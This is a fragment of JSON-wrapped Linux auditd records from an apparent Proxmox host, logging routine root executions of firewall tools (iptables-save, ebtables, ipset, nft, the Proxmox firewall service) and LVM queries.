proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966195551,"@rawstring":"node=pve type=PATH msg=audit(1781966195.551:68840): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.940:62340): arch=c000003e syscall=59 success=yes exit=0 a0=6340e1e77ac8 a1=7ffe5a106300 a2=6340ecffd680 a3=6340e1e5b24e items=2 ppid=59785 pid=59787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.259:65725): proctitle=697073657400726573746F7265"} {"@timestamp":1781966195551,"@rawstring":"node=pve type=PATH msg=audit(1781966195.551:68840): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.939:62339): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe5a1062c0 a1=6340ed01f200 a2=6340ecffd680 a3=5 items=2 ppid=59785 pid=59786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.253:65724): proctitle=\"ip6tables-save\""} {"@timestamp":1781966195545,"@rawstring":"node=pve type=PATH msg=audit(1781966195.545:68839): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725935,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.935:62337): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59785 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.245:65723): proctitle=\"iptables-save\""} {"@timestamp":1781966195545,"@rawstring":"node=pve type=PATH msg=audit(1781966195.545:68839): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725928,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.928:62336): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.243:65722): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966195539,"@rawstring":"node=pve type=PATH msg=audit(1781966195.539:68838): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.922:62335): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.239:65721): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966195539,"@rawstring":"node=pve type=PATH msg=audit(1781966195.539:68838): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725916,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.916:62334): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.237:65720): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966195532,"@rawstring":"node=pve type=PATH msg=audit(1781966195.532:68837): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.910:62333): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59781 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.237:65719): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966195532,"@rawstring":"node=pve type=PATH msg=audit(1781966195.532:68837): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.906:62332): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60551d75a740 items=0 ppid=1156 pid=59780 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965465233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.233:65718): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966195523,"@rawstring":"node=pve type=PATH msg=audit(1781966195.523:68836): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.904:62331): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc149eb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59780 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.227:65717): proctitle=\"ip6tables-save\""} {"@timestamp":1781966195523,"@rawstring":"node=pve type=PATH msg=audit(1781966195.523:68836): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.899:62330): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ec840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59779 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.219:65716): proctitle=\"iptables-save\""} {"@timestamp":1781966195519,"@rawstring":"node=pve type=PATH msg=audit(1781966195.519:68835): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.895:62329): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0b1dc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59778 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.215:65715): proctitle=69707365740073617665"} {"@timestamp":1781966195519,"@rawstring":"node=pve type=PATH msg=audit(1781966195.519:68835): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.890:62328): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59777 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.207:65714): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966195516,"@rawstring":"node=pve type=PATH msg=audit(1781966195.516:68834): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.884:62327): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ec8d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.199:65713): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966195516,"@rawstring":"node=pve type=PATH msg=audit(1781966195.516:68834): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.880:62326): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada260 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965464706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965464.706:65712): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966195515,"@rawstring":"node=pve type=PATH msg=audit(1781966195.515:68833): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.874:62325): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965464680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965464.680:65711): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966195515,"@rawstring":"node=pve type=PATH msg=audit(1781966195.515:68833): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725868,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.868:62324): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965463.095:65710): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195515,"@rawstring":"node=pve type=PATH msg=audit(1781966195.515:68832): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.864:62323): arch=c000003e syscall=59 success=yes exit=0 a0=63e61af86b20 a1=63e61af92e40 a2=63e61af60680 a3=5 items=2 ppid=59766 pid=59772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965463.095:65709): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195510,"@rawstring":"node=pve type=PATH msg=audit(1781966195.510:68831): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.860:62322): arch=c000003e syscall=59 success=yes exit=0 a0=63e6024cdac8 a1=7ffd6234e610 a2=63e61af60680 a3=63e6024b124e items=2 ppid=59766 pid=59768 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965463.095:65708): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195510,"@rawstring":"node=pve type=PATH msg=audit(1781966195.510:68831): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.860:62321): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd6234e5d0 a1=63e61af821c0 a2=63e61af60680 a3=5 items=2 ppid=59766 pid=59767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463081,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965463.081:65707): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195510,"@rawstring":"node=pve type=PATH msg=audit(1781966195.510:68831): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725857,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.857:62319): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138c50 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463081,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965463.081:65706): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195502,"@rawstring":"node=pve type=PATH msg=audit(1781966195.502:68830): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.850:62318): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965463.080:65705): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195502,"@rawstring":"node=pve type=PATH msg=audit(1781966195.502:68830): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.844:62317): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965458.073:65704): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195494,"@rawstring":"node=pve type=PATH msg=audit(1781966195.494:68829): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.840:62316): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ca910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965458.072:65703): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195494,"@rawstring":"node=pve type=PATH msg=audit(1781966195.494:68829): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.834:62315): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4920 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59762 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965458.072:65702): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195487,"@rawstring":"node=pve type=PATH msg=audit(1781966195.487:68828): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.828:62314): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbb79e030 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59761 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965458.062:65701): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195487,"@rawstring":"node=pve type=PATH msg=audit(1781966195.487:68828): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.429:62313): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965458.060:65700): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195476,"@rawstring":"node=pve type=PATH msg=audit(1781966195.476:68827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.417:62310): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965458.060:65699): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195476,"@rawstring":"node=pve type=PATH msg=audit(1781966195.476:68827): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964724196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964724.196:62307): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e05d0 a1=64f8d740d730 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.190:65698): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966195467,"@rawstring":"node=pve type=PATH msg=audit(1781966195.467:68826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964724172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964724.172:62306): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bbbe0 a1=64f8d73ee430 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.184:65697): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966195467,"@rawstring":"node=pve type=PATH msg=audit(1781966195.467:68826): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720403,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964720.403:62305): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59752 